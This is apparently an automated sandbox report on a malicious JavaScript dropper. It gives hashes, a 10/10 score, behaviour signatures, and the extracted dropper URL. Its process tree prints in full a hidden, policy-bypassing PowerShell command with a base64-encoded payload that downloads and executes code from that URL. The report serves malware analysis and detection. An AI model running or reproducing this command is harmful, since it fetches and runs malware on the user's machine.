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Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 04:09

General

  • Target

    60c36da8d79f10579883b61cf32a995c.js

  • Size

    175KB

  • MD5

    60c36da8d79f10579883b61cf32a995c

  • SHA1

    ba1b52e9dbfc3079b1d4b7c5d40c7d23d56df276

  • SHA256

    1d70b27434446bd1fe5192238088cc83c8fcc685feaf00b266052f751c1077f9

  • SHA512

    dc5f2c5d91717d36ace6052d3e6f0a9bcf15f932c02e70870f5fb0eec5525e2c4b3579abf345fca9efb4f1406f00cf0f2e1e4974f6dcdd72c5e5a627e05a99b1

  • SSDEEP

    3072:0kOBFat5SfZL1y0s09SBzb83XIIUwXSVhnBSfL822iwWmiwCm6Y5RP+Lj5pggfih:0kOBFat5zziRbYX2X7ffiDU+QrWkuyG/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://quickdrive.ae/js/JS000082510952000/dll/assistant.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\60c36da8d79f10579883b61cf32a995c.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pu0qp20l.m2w.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1672-1-0x00000296EB4B0000-0x00000296EB4D2000-memory.dmp

    Filesize

    136KB

  • memory/1672-11-0x00007FFD341C0000-0x00007FFD34C81000-memory.dmp

    Filesize

    10.8MB

  • memory/1672-12-0x00000296E9430000-0x00000296E9440000-memory.dmp

    Filesize

    64KB

  • memory/1672-15-0x00007FFD341C0000-0x00007FFD34C81000-memory.dmp

    Filesize

    10.8MB